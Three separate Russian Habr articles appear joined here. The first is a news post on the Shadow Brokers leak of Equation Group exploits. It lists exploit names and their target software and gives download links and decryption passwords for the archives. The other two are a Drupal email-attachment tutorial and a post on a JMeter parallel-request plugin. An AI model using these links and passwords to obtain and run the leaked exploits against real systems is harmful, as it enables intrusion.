В августе 2016 года группа хакеров The Shadow Brokers [выложила](https://habrahabr.ru/company/defconru/blog/307780/) первую порцию эксплойтов, которые принадлежат Equation Group — известной хакерской группе, которая с высокой вероятностью приложила руку к созданию известных видов кибероружия, включая, Stuxnet, Flame, Duqu, Regin, EquationLaser и др. По [всем признакам](https://geektimes.ru/post/279550/), эта весьма квалифицированная группа связана с АНБ (их деятельность подробно изучают хакеры из подразделения GReAT в «Лаборатории Касперского»).
Вторую часть похищенного у Equation Group набора эксплойтов хакеры выставили на аукцион. Но за прошедшее время они так не смогли собрать на свой биткоин-кошелёк значительную сумму денег. Поэтому сейчас [приняли решение](https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1) опубликовать все остальные экслпойты в открытом доступе (ссылки под катом).
В [опубликованном заявлении](https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1) участники группы The Shadow Brokers выразила крайнее недовольство политикой Дональда Трампа, за которого они голосовали и которого поддерживали. По мнению хакеров, он не оправдывает ожиданий своего электората. Группа The Shadow Brokers дала ответ тем, кто связывает их деятельность с Россией. Они сказали, что это не так. Но при этом они считают, что у американцев больше общего с россиянами, чем с китайцами, глобалистами и социалистами. Поэтому здесь действует принцип, что враг твоего врага — твой друг.
В своём же заявлении хакеры опубликовали и пароль для зашифрованного файла *eqgrp-auction-file.tar.xz.gpg*, который был выставлен на аукцион в августе 2016 года. Это пароль `CrDj"(;Va.*NdlnzB9M?@K2)#>deB7mN`.
Специалист по безопасности x0rz [считает](https://github.com/x0rz/EQGRP), что некоторый интерес может представлять эксплойт для взлома некоей цели в домене **.gov.ru** (stoicsurgeon\_ctrl\_\_v\_\_1.5.13.5\_x86-freebsd-5.3-sassyninja-mail.aprf.gov.ru, хотя нам не удалось найти его среди файлов, а ссылка на него в репозитории [тоже не работает](https://github.com/x0rz/EQGRP/blob/1667dacddf710082a1567e4e481f416876f432b7/archive_files/stmoicctrls/stoicctrls/stoicsurgeon_ctrl__v__1.5.13.4_x86-freebsd-5.3)) и [список паролей по умолчанию](https://github.com/x0rz/EQGRP/blob/33810162273edda807363237ef7e7c5ece3e4100/Linux/etc/.oprc) из /Linux/etc/.oprc.
Конечно, это далеко не всё интересное, что можно найти в архиве, который теперь открыт для всех. Там представлены инструменты для удалённого исполнения кода для Solaris, NetScape Server, FTP-серверов (RHEL 7.3+/Linux, CVE-2011-4130 и, вероятно, CVE-2001-0550). Среди других эксплойтов можно назвать:
* **ESMARKCONANT** для phpBB (<2.0.11),
* **ELIDESKEW** для SquirrelMail 1.4.0-1.4.7,
* **ELITEHAMMER** для RedFlag Webmail 4,
* **ENVISIONCOLLISION** для phpBB,
* **EPICHERO** для Avaya Media Server,
* **EARLYSHOVEL** для RHL7 с использованием sendmail,
* **ECHOWRECKER/sambal** для samba 2.2 и 3.0.2a-3.0.12-5 (с символами DWARF), для FreeBSD, OpenBSD 3.1, OpenBSD 3.2 и Linux. Вероятно, с использованием уязвимости CVE-2003-0201. Есть версия для Solaris.
* **ELECTRICSLIDE** (переполнение кучи) в Squid, вероятно, для китайских целей,
* **EMBERSNOUT** для httpd-2.0.40-21 в Red Hat 9.0,
* **ENGAGENAUGHTY/apache-ssl-linux** для Apache2 mod-ssl (2008), SSLv2,
* **ENTERSEED** для Postfix 2.0.8-2.1.5,
* **ERRGENTLE/xp-exim-3-remote-linux**, рут для Exim, вероятно, с использованием CVE-2001-0690, Exim 3.22-3.35,
* **EXPOSITTRAG** для pcnfsd 2.x,
* **KWIKEMART** (km binary) для SSH1 padding crc32, (https://packetstormsecurity.com/files/24347/ssh1.crc32.txt.html),
* **slugger**: удалённое исполнение кода в различных принтерах, вероятно, с использованием уязвимости CVE-1999-0078,
* **statdx** для Redhat Linux 6.0/6.1/6.2 rpc.statd,
* **telex**: эксплойт для Telnetd, вероятно, в RHEL, возможно, через уязвимость CVE-1999-0192,
* **toffeehammer** для модуля cgiecho в cgimail, эксплойт для fprintf,
* **VS-VIOLET** для Solaris 2.6 — 2.9, что-то связанное с XDMCP,
* **SKIMCOUNTRY** для копирования логов мобильного телефона,
* **EMPTYBOWL RCE** для MailCenter Gateway (mcgate) — приложения, которое идёт в комплекте с почтовым сервером Asia Info Message Center.
Плюс бэкдоры и шеллы для HP-UX, Linux, SunOS, FreeBSD, JunOS, имплант для AIX 5.1-5.2, инструменты для повышения привилегий, в том числе evolvingstrategy, вероятно, для Kaspersky Anti-Virus (/sbin/keepup2date).
Специалисты пока продолжают изучать экспойты, но похоже, что многие из них предназначены для устаревших систем. Эдвард Сноуден [высказал мнение](https://twitter.com/Snowden/status/850778467423617024), что объёма опубликованных данных уже достаточно, чтобы АНБ определило источник утечки.
**Ссылки на архив c зашифрованными файлами (опубликованы 13 августа 2016 года):**
magnet:?xt=urn:btih:40a5f1514514fb67943f137f7fde0a7b5e991f76&tr=http://diftracker.i2p/announce.php
<https://mega.nz/#!zEAU1AQL!oWJ63n-D6lCuCQ4AY0Cv_405hX8kn7MEsa1iLH5UjKU>
<https://app.box.com/s/amgkpu1d9ttijyeyw2m4lso3egb4sola>
<https://www.dropbox.com/s/g8kvfl4xtj2vr24/EQGRP-Auction-Files.zip>
<https://ln.sync.com/dl/5bd1916d0#eet5ufvg-tjijei4j-vtadjk6b-imyg2qkd>
<https://yadi.sk/d/QY6smCgTtoNz6>
**Пароль для расшифровки *eqgrp-free-file.tar.xz.gpg*** (опубликован 13 августа 2016 года):
`theequationgroup`
**Пароль для расшифровки *eqgrp-auction-file.tar.xz.gpg*** (опубликован 8 апреля 2017 года):
`CrDj"(;Va.*NdlnzB9M?@K2)#>deB7mN`
Для расшифровки архива на Windows понадобится инструмент gpg2 из пакета [Gpg4win](https://www.gpg4win.org/).
**Зеркало (c расшифрованными файлами)**
[dfiles.ru/files/8ojjgfdze](https://dfiles.ru/files/8ojjgfdze)
**Содержимое архива *eqgrp-auction-file.tar.xz.gpg* на Github** (опубликовано 8 апреля 2017 года):
[github.com/x0rz/EQGRP](https://github.com/x0rz/EQGRP)
*(Владелец репозитория x0rz говорит, что некоторые бинарники могут отсутствовать, потому что их удалил антивирус)* | https://habr.com/ru/post/357312/ | null | ru | null |
# Отправка сообщения с вложением по e-mail из модуля в Drupal
Понадобилось мне недавно сделать казалось бы простейшую вещь, а именно с помощью некоторой формы на сайте отправить письмо с вложением. И сделать это надо на сайте, построенном на Друпале… Как оказалось, [этот](http://habrahabr.ru/blogs/drupal/65523/) пост очень правильный — действительно нужные рецепты не найдешь даже погуглив. В рунете вообще плохо с информацией, на диком западе получше, однако по теме ничего путного найти не удалось, кроме [одного](http://thejibe.com/blog/10/1/sending-emails-attachments-using-messaging-framework-drupal) способа, который требует установки двух довольно навороченных модулей — ну это просто, по-моему, ни в какие ворота… Как и в случае с [джумлой](http://mr-locke.habrahabr.ru/blog/54221/), пришлось копать сорсы различных модулей, [api.drupal.org](http://api.drupal.org/) ну и, разумеется, додумывать. Результаты размышлений предлагаю Вашему вниманию. На примере простейшего модуля я покажу один из способов отправки сообщения с вложением по e-mail.
Для нашего модельного примера предположим, что пользователям нашего сайта необходимо иметь возможность отправлять администратору скриншоты (или другие картинки) с небольшими сопроводительными комментариями. Администратор должен получать эту бесценную информацию на свой e-ящик в виде e-писем в формате HTML в кодировке UTF-8, файл с картинкой должен быть присоединен к письму. Скриншоты должны быть в формате jpeg и весом не более 100Кб.
Чтобы не отходить далеко от темы топика, я предполагаю, что читатель знаком с общей теорией создания модулей для Друпала. Если нет, то можно для начала использовать, например, [эту](http://drupaldance.com/blog/10-steps-to-drupal-forms) статью.
Итак, для реализации нашего модуля (назовем его SendScreen) необходимо написать некоторое количество кода:
> `Copy Source | Copy HTML1. php</font
> 2.
> 3. /\*\*
> \* Реализация hook\_menu()
> \*/
> 4. function sendscreen\_menu() {
> 5. $items = array();
> 6.
> 7. $items['sendscreen'] = array(
> 8. 'title' => t('Send screenshot'),
> 9. 'page callback' => 'sendscreen\_page',
> 10. 'access arguments' => array('access content'),
> 11. 'description' => t('Форма отправки скриншота'),
> 12. 'type' => MENU\_CALLBACK,
> 13. );
> 14.
> 15. return $items;
> 16. }
> 17.
> 18. /\*\*
> \* Обратный вызов меню
> \*/
> 19. function sendscreen\_page() {
> 20. return drupal\_get\_form('sendscreen\_mainform');
> 21. }
> 22.
> 23. /\*\*
> \* Определение формы
> \*/
> 24. function sendscreen\_mainform() {
> 25. $form['#attributes'] = array('enctype' => "multipart/form-data");
> 26.
> 27. $form['name'] = array(
> 28. '#type' => 'textfield',
> 29. '#title' => t('Your name'),
> 30. '#required' => TRUE,
> 31. '#maxlength' => 100,
> 32. );
> 33.
> 34. $form['note'] = array(
> 35. '#type' => 'textarea',
> 36. '#title' => t('Description'),
> 37. '#required' => FALSE,
> 38. '#rows' => 5,
> 39. '#maxlength' => 500,
> 40. );
> 41.
> 42. $form['screenshot'] = array(
> 43. '#type' => 'file',
> 44. '#title' => t('Screenshot'),
> 45. '#size' => 40,
> 46. '#description' => t('jpeg, 100Kb max.'),
> 47. );
> 48.
> 49. $form['submit'] = array(
> 50. '#type' => 'submit',
> 51. '#value' => t('Submit'),
> 52. );
> 53.
> 54. return $form;
> 55. }
> 56.
> 57. /\*\*
> \* Проверка формы
> \*/
> 58. function sendscreen\_mainform\_validate($form, &$form\_state) {
> 59. // Проверка присоединенного файла
> 60. $validators = array(
> 61. 'file\_validate\_extensions' => array('jpg'),
> 62. 'file\_validate\_size' => array(100 \* 1024, 100 \* 1024),
> 63. );
> 64. $file = file\_save\_upload('screenshot', $validators);
> 65. }
> 66.
> 67. /\*\*
> \* Отправка формы
> \*/
> 68. function sendscreen\_mainform\_submit($form, &$form\_state) {
> 69. $params = $form\_state['values'];
> 70. drupal\_mail('sendscreen', 'send', 'admin@domain.org', language\_default(), $params);
> 71. drupal\_set\_message(t('Ваше сообщение отправлено.'));
> 72. }
> 73.
> 74. /\*\*
> \* Реализация hook\_mail()
> \*/
> 75. function sendscreen\_mail($key, &$message, $params) {
> 76. $body = "\n";
> 77. $body .= '' . "\n" .
> 78. '' . "\n" .
> 79. '' . "\n" .
> 80. '' . '' . "\n" .
> 81. '' . "\n" .
> 82. '' . "\n" . "\n";
> 83.
> 84. $body .= ''
>
> . check\_plain($params['name']) . '' ."\n";
> 85. $body .= ''
>
> . check\_plain($params['note']) . '' ."\n";
> 86.
> 87. $body .= '' . "\n" .
> 88. '' . "\n";
> 89.
> 90. // Формирование заголовков для письма в формате HTML
> 91. $message['headers']['Content-Type'] = 'text/html; charset=UTF-8';
> 92. $message['headers']['From'] = 'siteuser@domain.org';
> 93. $message['subject'] = t('Скриншот от @name', array('@name' => $params['name']));
> 94. $message['body'][] = $body;
> 95.
> 96. $msg = \_sendscreen\_process\_attachment($message);
> 97. if (!empty($msg)) {
> 98. $message['headers'] = $msg['headers'];
> 99. $message['body'] = $msg['body'];
> 100. }
> 101. }
> 102.
> 103. /\*\*
> \* Подготовка файла для вставки в тело письма
> \*
> \* @param $file
> \* Файл для добавления к письму
> \* @return
> \* Подготовленный файл
> \*/
> 104. function \_sendscreen\_add\_attachment($file) {
> 105. $att = "Content-Type: " . $file->filemime ."; name=\"" . basename($file->filename) . "\"\n";
> 106. $att .= "Content-Transfer-Encoding: base64\n";
> 107. $att .= "Content-Disposition: attachment; filename=\"" . basename($file->filename) . "\"\n\n";
> 108. if (file\_exists($file->filepath)) {
> 109. $att .= chunk\_split(base64\_encode(file\_get\_contents($file->filepath)));
> 110. }
> 111.
> 112. return $att;
> 113. }
> 114.
> 115. /\*\*
> \* Вставка файла в сообщение
> \*
> \* @param $message
> \* Сообщение
> \* @return
> \* Сообщение
> \*/
> 116. function \_sendscreen\_process\_attachment($message) {
> 117. $msg = array();
> 118.
> 119. // Если файла для вставки не выбрано, возвращаем пустой массив
> 120. if ($file = file\_save\_upload('screenshot')) {
> 121.
> 122. $body = '';
> 123. $msg = array();
> 124.
> 125. // id границы части сообщения
> 126. $boundary\_id = md5(uniqid(time()));
> 127.
> 128. // Изменяем заголовок сообщения
> 129. $message['headers']['Content-Type'] = 'multipart/mixed; boundary="' . $boundary\_id . '"';
> 130.
> 131. // Формирование тела сообщения. Сначала тело письма из $message...
> 132. $body = "\n--" . $boundary\_id . "\n";
> 133. $body .= "Content-Type: text/html; charset=UTF-8; format=flowed;\n\n";
> 134.
> 135. // ... отделяем его от части сообщения, соответствующей вложению...
> 136. $body .= implode("\n\n", $message['body']);
> 137. $body .= "\n\n\n";
> 138.
> 139. // ... и вставляем подготовленное вложение
> 140. $body .= "--" . $boundary\_id . "\n";
> 141. $body .= \_sendscreen\_add\_attachment($file);
> 142. $body .= "\n\n";
> 143.
> 144. $body .= "--" . $boundary\_id . "--\n\n";
> 145.
> 146. // Новый заголовок сообщения
> 147. $msg['headers'] = $message['headers'];
> 148. // Новое тело сообщения
> 149. $msg['body'] = $body;
> 150. }
> 151.
> 152. return $msg;
> 153. }`
>
>
Думаю, что реализацию основных функций, используемых для построения формы, подробно комментировать нет необходимости, остановлюсь только на нескольких моментах.
Как видно из кода, для отправки сообщения используется встроенная друпаловская функция [drupal\_mail](http://api.drupal.org/api/function/drupal_mail/6), однако она не приспособлена для отправки сообщений с вложениями и в формате HTML, поэтому это придется делать руками. Для этого в реализации [hook\_mail](http://api.drupal.org/api/function/hook_mail/6) нам требуется установить правильные заголовки для письма в формате HTML и установить кодировку UTF-8. Далее вызывается функция *\_sendscreen\_process\_attachment*, которая включает в тело письма файл и возвращает новое тело письма и новый заголовок. Если файл в форме не был выбран, она возвращает пустой массив и сообщение *$message* остается без изменений.
Для того, чтобы вставить файл в письмо, его требуется закодировать с тем, чтобы его можно было включить в текстовое письмо, а также добавить необходимые заголовки, что и делает функция *\_sendscreen\_add\_attachment*. Письма с вложением мультисекционные, для того, чтобы почтовые клиенты их могли корректно прочитать, необходимо указать идентификатор границ секций. Для этого в таких письмах должен быть специальный заголовок, в котором в параметре *boundary* указан идентификатор границы.
Собственно, это все. Для того, чтобы попробовать, как это работает, можно создать файл *sendscreen.module*, скопировать в него весь приведенный код, также создать файл *sendscreen.info*, например, с таким содержимым:
> `Copy Source | Copy HTML1. ; $Id$
> 2. name = SendScreen
> 3. description = Allow users to send a screenshot with notes by e-mail
> 4. package = Samples
> 5. version = 1.0
> 6. core = 6.x
> 7. php = 5.2`
>
>
установить полученный модуль на сайте и зайти по адресу *[yourdomain/sendscreen](http://yourdomain/sendscreen)*.
Надеюсь, что этот топик будет кому-нибудь полезен. И т.к. я начинающий друпаллер, вполне допускаю, что что-то упустил, или вообще сделал не так, поэтому буду рад за советы и комменты. | https://habr.com/ru/post/89719/ | null | ru | null |
# TailSampler — паралельная отправка GET-запросов в Apache.JMeter
### 1. Назначение плагина «HTTP Request Tail»
Плагин упрощает загрузку встроенных ресурсов, позволяет ***параллельно*** выполнять ***указанные*** GET-запросы. Делая тест максимально близким к работе браузера по составу загружаемых ресурсов и по способу загрузки этих ресурсов.
**[TailSampler](https://github.com/pflb/Jmeter.Plugin.TailSampler)** выручает если нужно:
* выполнить группу GET-запросов паралельно;
* выполнить 1000 GET-запросов, не создавая 1000 компонентов **HTTP Request**;
* протестировать сайт, активно использующий **AJAX**, **Adobe Flash**, **Adobe AIR**, **SilverLigth**, ...
### 2. Инструкция по применению
**HTTP Request Tail** преобразует список ссылок в HTML-документ, загрузка встроенных ресурсов которого создаст GET-запрос по каждой из указанных ссылок.
[](https://habrastorage.org/files/6ef/258/983/6ef25898340a4970952bccb41c52f0fa.png)
Рисунок 1. *Процесс подготовки данных для плагина **TailSampler** и их использование*
1. Запустить **Fiddler**.
2. Открыть в веб-браузере страницу, загрузку которой надо детально имитировать в тесте — это может быть страница с **Adobe Flash**, с **Adobe AIR**, с **Microsoft SilverLigth**, с **ActiveX**-компонентами.
3. Выполнить на странице нужные действия.
4. Скопировать из **Fiddler** ссылки на GET-запросы, которые нужно выполнить в тесте параллельно, так, как если бы их выполнял браузер.
5. Вставить ссылки в **TailSampler**, при необходимости параметризировать.
6. Получить параллельное выполнение указанных запросов в тесте, степень параллельности настраивается.
### 3. Работа стандартных html-парсеров JMeter
Стандартный способ получения HTML-документа по протоколу HTTP в **JMeter** — использование **HTTP Request** sampler. В **HTTP Request** есть простой способ запросить встроенные ресурсы страницы — галочка [v] ***Retrieve Embedded Resource***s. Стандартным парсером, формирующим ссылки на ресурсы страницы является **LagartoBasedHtmlParser**. Парсер можно поменять в настройке **htmlparser.classname** файла **jmeter.properties**.
Исследование парсеров **Apache.JMeter** для пяти популярных сайтов приведено в статье «Выбираем html-парсер для Apache.JMeter»:
* <https://habrahabr.ru/post/308254/>
При использовании парсеров загружаются почти все нужные ресурсы. Но для разных сайтов полнота загрузки разная. Так если веб-сайт реализован на **Microsoft Silverlight**, то эффективность работы парсера **Apache.JMeter** будет около 0%. Тогда как, используя, **TailSampler**, можно будет подать нагрузку, аналогичную работе браузера простым способом.
#### 3.1. Пример работы со сложным сайтом atlas.mos.ru
| | |
| --- | --- |
|
Рисунок 2. *Сайт [atlas.mos.ru](https://atlas.mos.ru) в браузере — `85` запросов к основному домену* |
Рисунок 3. *Сайт [atlas.mos.ru](https://atlas.mos.ru) в **JMeter** — `2` запроса к основному домену* |
|
Рисунок 4. *Трассировку выполнения запросов можно увидеть в [webpagetest.org](https://www.webpagetest.org/result/161014_ZM_1HRA/1/details/)* |
Рисунок 5. *Браузер выполняет `85` запросов к основному домену, а JMeter только `2` — эффективность `2,35%`, см. логи в [google docs](https://docs.google.com/spreadsheets/d/1kL3XdDdg7KYSe64iKWlPEL-1jhTwp8v-9eu0IWTnEUk/edit?usp=sharing)* |
При открытии сайта [atlas.mos.ru](https://atlas.mos.ru), активно использующего **AJAX**, видна разница:
* `2` GET-запроса, если работает **LagartoBasedHtmlParser**, **HTTP Request**, **JMeter** 3.0;
* `85` GET-запросов, если работает браузер **Chrome**.
Таким образом, при использовании **HTTP Request** с настройкой [v] ***Retrieve Embedded Resources*** для адреса [atlas.mos.ru](https://atlas.mos.ru) `83` GET-запрос не будет отправлен.
> Маловато будет
>
> [«Падал прошлогодний снег»](https://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D0%B4%D0%B0%D0%BB_%D0%BF%D1%80%D0%BE%D1%88%D0%BB%D0%BE%D0%B3%D0%BE%D0%B4%D0%BD%D0%B8%D0%B9_%D1%81%D0%BD%D0%B5%D0%B3)
Чтобы сэмулировать отправку `83` GET-запроса, нужно будет добавить `83` компонента **HTTP Request** в скрипт **JMeter**:
* скрипт JMeter станет громоздким.
Добавленные `83` **HTTP Request** будут обрабатываться *последовательно* друг за другом — браузер же отправляет запросы на встроенные ресурсы *параллельно*:
* суммарная длительность загрузки ресурсов страницы будет больше, чем в браузере, последовательная загрузка выполняется дольше параллельной на незагруженном сервере;
* количество одновременно открытых соединений с сервером будет меньше, чем при работе браузера, количество соединений с сервером косвенно влияет на производительность.
[](https://habrastorage.org/files/9b7/e30/e9f/9b7e30e9fec8482ea7229eeb3ebf27c3.png)
Рисунок 6. *Отчёт по загрузке сайта pflb.ru в **Firefox** — <http://www.webpagetest.org/result/160319_RQ_Q3W/1/details/> — видны группы параллельной загрузки по `6` запросов*
Таким образом, используя только **HTTP Request** не удастся полностью повторить загрузку встроенных ресурсов так, чтобы ***точно*** замерить время загрузки html-страницы со всеми подзапросами.
[](https://habrastorage.org/files/6df/8e9/03d/6df8e903de274468a7372d3e8f8afbef.jpg)
Рисунок 7. ***HTTP Request** не позволяет увидеть картину целиком, реализовать хвост подзапросов поможет **HTTP Request Tail***
### 4. История создания
Плагин **HTTP Request Tail** для **JMeter** создан в качестве альтернативы **Tile Server** — сервису на **python**, описание смотри ниже.
Первое знакомство с сервисом **Tile Server** произошло, когда коллеги Женя Бороденков и Максим Конышев рассказывали про нагрузочное тестирование веб-проекта, загружающего большие изображения кусочками, тайлами. Тогда мы решали задачу нагрузочного тестирования одной из версий этого веб-проекта, использующей **SilverLight** на клиенте и потоковое получение содержимого от сервера по протоколу *SOAP/MSBin1*. Послать из **JMeter** запросы по протоколу *SOAP/MSBin1* и обработать ответы на них мы сначала не знали как, обсуждали варианты.
Рассказ был примерно таким:
> — Если бы тут был Вова, он бы сказал использовать промежуточный сервис для формирования нужных запросов.
>
>
>
> — Промежуточный сервис, это слишком сложно (отвечал им). Давайте напишем плагин для **JMeter**. Плагин — просто и надёжно.
>
>
>
> — Вот когда было предыдущее тестирование, Андрей Пищулин написал сервис **Tile Server** на **python**, этим сервисом до сих пор пользуемся, сервис для работы с тайлами:* **JMeter** отправляет серверу **Tile Server** список ссылок методом *POST* через **HTTP Request**;
> * **Tile Server** реализует веб-сервер, принимает список ссылок, формирует из ссылок html-документ со списком iframe-ов, указывающих на ссылки и возвращает html-документ **JMeter**;
> * **JMeter** парсит html-документ и выполняет нужные GET-запросы, как подзапросы.
>
> Давай делать также.
>
>
>
> — Хорошо, давай сделаем промежуточный сервис для реализации работы с *SOAP/MSBin1*.
>
>
Рисунок 8. *Tile Server*
Забегая вперёд скажу, сделали мы также, как когда-то. Сделали прокси-сервис на .NET, который формировал запросы по *SOAP/MSBin1* — **JMeter** посылал команды этому сервису по *SOAP/XML*, а сервис посылал запросы к нагружаемому узлу уже по *SOAP/MSBin1* и возвращал ответы к **JMeter**.
И при высокой нагрузке прокси-сервис стал узким местом, не смог он генерировать запросы и обрабатывать ответы так, чтобы нагружаемые серверы приуныли и прилегли. Нагрузку тестируемые серверы получили, но если они отвечали прокси-сервису за `10` секунд, прокси-сервис отвечал **JMeter**-у за `110` секунд. По статистике из логов **JMeter** выходило, что нагружаемый сервис приуныл, и да, нагрузка подавалась хорошая, но нагружаемый сервис отвечал бодро, бодрее, чем свидетельствовали логи **JMeter**. Оперативное добавление подробного логирования в прокси-сервис исправило ситуацию, но когда прокси-сервис зависал, то и логирование на нём запаздывало — надо было масштабировать промежуточный сервис или переписывать его полностью, один экземпляр не тянул на роль «Царь-пушки».
[](https://habrastorage.org/files/b8e/0db/c6d/b8e0dbc6d298450c9ddb0ee4ac9aea0e.jpg)
Рисунок 9. *Царь-пушка*
Прокси-сервис стал точкой отказа. Тогда вернулись к идее плагина для **JMeter**, и сделали из **JSR223**, библиотек **JNA** и прокси-клиента на .NET пулемёт для работы по протоколу *SOAP/MSBin1*, вышло здорово. Плагину уже не приходится обрабатывать несколько входящих потоков. Накладных расходов на оперативную память, конечно, больше, но работает это быстрее.
Тогда же возникла идея написать sampler **JMeter** на java, на замену **Tile Server**, вдруг и он является точкой отказа при нагрузке. Даже название будущего sampler-а появилось — «HTTP Request Tail» или «Tail Sampler». Из-за плохого знания английского языка услышал слово «Tile», как «Tail», немного не понял, причём тут «тайлы» и слово, которое переводится как «хвост». Глухие телефоны, хвост так хвост, образ русалки дополнил картину. Задумка закрепилась, идея ясна, название есть. Оставалось самое малое — сделать. Тут помогла Саша Перевозчикова [Sanchez92](https://habr.com/ru/users/sanchez92/) — эксперт по разработке плагинов.
Претензий к **Tile Server** не имею, коллеги говорят — это быстрый и надёжный инструмент. Плагин создавался из любопытства и интереса к новому для меня инструменту **JMeter**, и Сашу надо было чем-то занять, а то скучала девица.
Все имена в этой истории невымышленные, явно или косвенно плагин «HTTP Request Tail» сделали:
* Саша Перевозчикова;
* Андрей Пищулин;
* Вова Лаврентьев;
* Максим Конышев;
* Женя Бороденков;
* и я там был, чего-то пил.
### 5. Описание
#### 5.1. Настройки по умолчанию
[](https://habrastorage.org/files/b00/fe1/2ab/b00fe12ab7c44ed6b20decd841ba9fc2.PNG)
Рисунок 10. *Настройки по умолчанию*
По умолчанию используются настройки:
* [v] ***Retrieve All Embedded Resources*** — по умолчанию галочка поставлена, её можно снять, но тогда не будут выполняться подзапросы, и **HTTP Request Tail** станет бесполезным;
* [v] ***Use concurent pool*** — по умолчанию галочка поставлена, на большом количестве встроенных ресурсов многопоточная загрузка увеличивает скорость закачки;
* ***Use concerent pool Size***: `4` — по умолчанию используется значение 4, это значение используется **JMeter** в качестве базового:
+ **HttpClient4** при настройке ***Use concerent pool Size***: `4` будет посылать до 4 запросов одновременно, каждый поток будет использовать по 1 постоянному соединению на каждый домен:
- запустится группа потоков, размер группы определяется настройкой **Use concerent pool Size**;
- при настройке [v] ***Use keepalive*** каждый поток для каждого уникального домена будет создавать одно постоянное соединение (persistent-connection);
+ Браузер **Mozilla Firefox 44.0** по умолчанию посылает до `6` одновременных запросов на каждый домен (см. `about:config`):
- `256` — **network.http.max-connections** — максимальное число соединений;
- `6` — **network.http.max-persistent-connections-per-server** — максимальное число постоянных соединений с сервером (keepalive);
- `32` — **network.http.max-persistent-connections-per-proxy** — максимальное число постоянных соединений с прокси-сервером (keepalive);
+ Если ориентироваться на настройки **Mozilla Firefox 44.0**, и то, что ссылки на встроенные ресурсы в проектах нагрузочного тестирования обычно принадлежат одному домену, то в ***Use concerent pool Size*** можно ставить значение `6`, вместо стандартного значения `4`.
Неиспользуемые настройки — настройки для POST-запросов, значения никак не используются ни главным запросом ни подзапросами:
* [ ] ***Use multipart/form-data for POST***;
* [ ] ***Browser-compatible headers***.
Главный запрос генерируется, а не отправляется, на него настройки для POST-запросов не действуют. Подзапросы используют метод GET, для них также не действуют настройки для POST-запросов.
Остальные настройки действуют на подзапросы.
**HTTP Request Tail** является наследником **HTTP Request**, описание настроек можно посмотреть в документации на **HTTP Request**:
* <http://jmeter.apache.org/usermanual/component_reference.html#HTTP_Request> — документация на **HTTP Request**.
#### 5.2. Настроенный HTTP Request Tail
[](https://habrastorage.org/files/401/7bb/e33/4017bbe3372d4f6f9d846506dcbafdac.png)
Рисунок 11. *Настроенный HTTP Request Tail*
Ссылки на встроенные ресурсы указываются в текстовом поле ***Embedded resources***. Можно указывать относительные и абсолютные ссылки.
##### 5.2.1. Абсолютные ссылки
Описание формата абсолютных ссылок смотри в RFC: <https://tools.ietf.org/html/rfc3986>.
Абсолютные ссылки начинаются с протокола:
* `file://`
* `http://`
* `https://`
Другие протоколы не обработаются **HTTP Request Tail**. Примеры абсолютных ссылок:
* `file://C:\Data\htmlDocument.html#Part1`
* `<http://www.pflb.ru/>`
* `<https://yandex.ru/?q=Testing&client=Mozilla>`
##### 5.2.2. Относительные ссылки
Относительные ссылки дополняются значениями полей:
* ***Path*** — каталог для тех ссылок, что являются относительными относительно страницы, а не относительно хоста, тут может быть указан и протокол и хост и порт.
* ***Web Server*** — хост и порт:
+ ***Server Name or IP***;
+ ***Port Number***;
* ***Protocol [http]*** — протокол, если в ***Path*** не указан протокол значение учитывается, допустимы значения `file`, `http`, `https`.
Пример относительных ссылок:
* `image1.png`
* `/images/image1.png`
* `/ResourceGenerator.aspx?id=0121`
* `subFolder/style.css`
* `subFolder/1/2/3/test.php`
##### 5.2.3. Параметризация с использованием переменных и функций
Для параметризации GET-запросов можно использовать переменные и функции **JMeter**. Пример:
* `**${variable\_URL}**`
* `/search.php?q=**${variable\_Query\_String}**`
* `/search.php?q=**${variable\_Query\_String}**&client=Mozilla`
* `/search.php?q=**${\_\_urlencode(${variable\_Query\_String})}**&client=Mozilla`
##### 5.2.4. Особенности обработки Unicode и html-сущностей
При формировании html-страницы из ссылок используется html-экранирование. Поэтому при написании ссылок можно использовать:
* кириллические домены;
* специальные символы, такие как `<`, `>`, `&` и другие;
* любые unicode-символы.
Структура html-страницы не нарушится, ссылки обработаются корректно и в полном объёме.
Полный список html-сущностей для html4 смотри тут:
* <http://www.w3.org/TR/html4/sgml/entities>
Если какая-то сущность из спецификации не экранируется, то оформите замечание к плагину.
Не нужно предварительно экранировать специальные символы. Так если есть необходимость указать URL вида:
* `/search.php?q=Testing**&**client=Mozilla` — правильно.
То так и надо писать — просто **`&`**, заранее экранировать на **`&`** не надо:
* `/search.php?q=Testing**&**client=Mozilla` — ***неправильно***.
##### 5.2.5. Unicode для java
Замечено, что если в адресе есть unicode-символ, например, ®, Ω, π, ≈:
* `/search.php?q=Microsoft®`
И в настройке ***Implementation*** стоит значение `Java`, то в подзапросе unicode-символ будет заменен на квадратик:
* `/search.php?q=Microsoft□`
При запуске **JMeter** из **Windows** с помощью bat-файла кодировкой для **java** назначается `windows-1251`, предполагаю это причина замены unicode-символа на квадратик. Чтобы задать кодировку нужно указать в bat-файле аргумент для **java**: `-Dfile.encoding=UTF-8`. При использовании `HttpClient4` и `HttpClient3.1` такой нежелательной трансформации не происходит.
#### 5.3. Генерируемый ответ
[](https://habrastorage.org/files/9d7/613/9e7/9d76139e750242c5a9145dd949fa100f.PNG)
Рисунок 12. *Ответ на основной запрос — генерируемый ответ*
Ответ на основной запрос генерируется. Запроса нет, есть только тело ответа.
Тело ответа представляет собой html-документ, текст с кодировкой UTF-8, где для каждой ссылки на встроенный ресурс сгенерирован тег `iframe`.
Пример документа:
```
Embedded resources
```
[](https://habrastorage.org/files/80b/699/662/80b6996620724c6293e4e6ca4a3ffa04.PNG)
Рисунок 13. *Статистика выполнения генерируемого запроса*
##### 5.3.1. Планы на изменение
При написании статьи про парсеры JMeter в комментариях появился разработчик **JMeter** Philippe M. [philmdot](https://habr.com/ru/users/philmdot/) и попросил запостить дефект на счёт рекурсивной обработки:
* <https://habrahabr.ru/post/308254/#comment_9767524>
Планирую запостить дефект, и даже исправить его. Сделав так, чтобы для ответов на запросы из тегов `img` не выполнялся рекурсивный поиск ссылок на ресурсы. Чтобы в **JMeter** парсинг работал также, как это делает браузер. Вот если `iframe`, то надо выполнять парсинг, а если просто `img`, то выполняется единичный запрос.
И тогда же надо будет изменить плагин **TailSampler** так, чтобы при генерации использовались теги `img` вместо тегов `iframe`.
Сегодня Philippe написал, что хотел бы увидеть этот код в ядре **JMeter**, что это будет хороший способ работы с **AJAX**. Попробую успеть в этом году, будет интересный опыт.
